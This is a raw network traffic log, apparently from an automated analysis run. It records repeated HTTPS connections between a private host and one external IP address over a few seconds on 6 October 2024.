Oct 6, 2024 22:33:45.201117039 CEST	49979	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.201132059 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.201144934 CEST	443	49979	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.203474998 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.203505993 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.203584909 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.203743935 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.203761101 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.264786959 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.264941931 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.265034914 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.265090942 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.265103102 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.265115976 CEST	49980	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.265121937 CEST	443	49980	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.267431021 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.267451048 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.267524958 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.267652988 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.267664909 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.725263119 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.726016998 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.726035118 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.726553917 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.726560116 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.823427916 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.823632002 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.823673964 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.823698997 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.823745012 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.823791981 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.823805094 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.823818922 CEST	49981	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.823827982 CEST	443	49981	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.826708078 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.826735020 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.826806068 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.826972008 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.826986074 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.836744070 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.837147951 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.837155104 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.837557077 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.837560892 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.838722944 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.839027882 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.839051962 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.839406013 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.839411974 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.856834888 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.857290030 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.857305050 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.857547045 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.857553959 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.930083036 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.930452108 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.930465937 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.930968046 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.930972099 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.936048031 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.936219931 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.936290979 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.936337948 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.936337948 CEST	49982	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.936347008 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.936356068 CEST	443	49982	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.938711882 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.938750982 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.938822031 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.939004898 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.939034939 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.943161964 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.943427086 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.943486929 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.943527937 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.943567991 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.943582058 CEST	49983	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.943588972 CEST	443	49983	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.945621014 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.945643902 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.945708990 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.945858955 CEST	49988	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.945873976 CEST	443	49988	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.957428932 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.957494974 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.957550049 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.957653046 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.957672119 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.957690001 CEST	49984	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.957696915 CEST	443	49984	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.959875107 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.959893942 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:45.960007906 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.960124969 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:45.960139036 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.044740915 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.044766903 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.044802904 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.044816971 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.044851065 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.055929899 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.055943012 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.055958033 CEST	49985	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.055963039 CEST	443	49985	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.061022997 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.061034918 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.061095953 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.061414003 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.061425924 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.509468079 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.510359049 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.510371923 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.510951042 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.510957003 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.788075924 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.788175106 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.788237095 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.788463116 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.788481951 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.788497925 CEST	49986	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.788506031 CEST	443	49986	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.791168928 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.791871071 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.791892052 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.791918993 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.791948080 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.792022943 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.792151928 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.792165041 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.792285919 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.792292118 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.796588898 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.797036886 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.797050953 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.797091961 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.797552109 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.797557116 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.797557116 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.797574043 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.798002005 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.798007011 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.894470930 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.894530058 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.894581079 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.894742012 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.894742012 CEST	49989	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.894757986 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.894768000 CEST	443	49989	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.895428896 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.895555973 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.895683050 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.895796061 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.895796061 CEST	49987	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.895809889 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.895817995 CEST	443	49987	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.896078110 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.896136999 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.896194935 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.896203041 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.896297932 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.896378040 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.896490097 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.896490097 CEST	49990	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.896502018 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.896505117 CEST	443	49990	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.899287939 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.899307013 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.899405956 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.900043964 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.900055885 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.901139021 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.901170969 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.901226997 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.901360035 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.901382923 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.901937008 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.901949883 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:46.902368069 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.902477980 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:46.902488947 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.456535101 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.461652040 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.461694002 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.462089062 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.462094069 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.533360004 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.533905983 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.533916950 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.534414053 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.534418106 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.552495003 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.552850962 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.552872896 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.553334951 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.553340912 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.554441929 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.554735899 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.554753065 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.555185080 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.555191040 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.561094046 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.561110020 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.561156988 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.561177969 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.561320066 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.561368942 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.561409950 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.561425924 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.561431885 CEST	49991	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.561439037 CEST	443	49991	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.564342976 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.564357042 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.564534903 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.564718962 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.564729929 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.636853933 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.636929035 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.636974096 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.637049913 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.637142897 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.637142897 CEST	49992	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.637151003 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.637157917 CEST	443	49992	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.639987946 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.640032053 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.640295982 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.640296936 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.640362978 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.655486107 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.655517101 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.655582905 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.655597925 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.655783892 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.655843973 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.655883074 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.655900955 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.655916929 CEST	49994	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.655924082 CEST	443	49994	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.656444073 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.656603098 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.656667948 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.656806946 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.656807899 CEST	49993	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.656817913 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.656821966 CEST	443	49993	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.657887936 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.657922983 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.658061981 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.658190966 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.658205986 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.658879995 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.658888102 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:47.659033060 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.659171104 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:47.659184933 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.237569094 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.238116980 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.238131046 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.238770008 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.238775015 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.276917934 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.277281046 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.277311087 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.277776003 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.277782917 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.308397055 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.308712006 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.308738947 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.309238911 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.309247971 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.340869904 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.340919971 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.340965033 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.341212988 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.341226101 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.341238976 CEST	49995	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.341243982 CEST	443	49995	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.344404936 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.344435930 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.344512939 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.344655991 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.344671011 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.348238945 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.348532915 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.348543882 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.349062920 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.349069118 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.389034033 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.389077902 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.389128923 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.389327049 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.389338017 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.389358044 CEST	49996	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.389364004 CEST	443	49996	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.392205954 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.392241955 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.392321110 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.392503977 CEST	50000	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.392515898 CEST	443	50000	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407546997 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407608032 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407669067 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.407682896 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407728910 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.407758951 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407785892 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.407809019 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407821894 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.407831907 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.407840967 CEST	49998	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.407845020 CEST	443	49998	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.410321951 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.410377026 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.410453081 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.410677910 CEST	50001	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.410696983 CEST	443	50001	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.452454090 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.452573061 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.452640057 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.452754021 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.452763081 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.452775955 CEST	49997	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.452781916 CEST	443	49997	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.455476046 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.455493927 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.455585957 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.455739975 CEST	50002	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.455754042 CEST	443	50002	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.993376017 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.994064093 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.994128942 CEST	443	49999	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:48.994699955 CEST	49999	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:48.994714975 CEST	443	49999	13.107.246.45	192.168.2.4
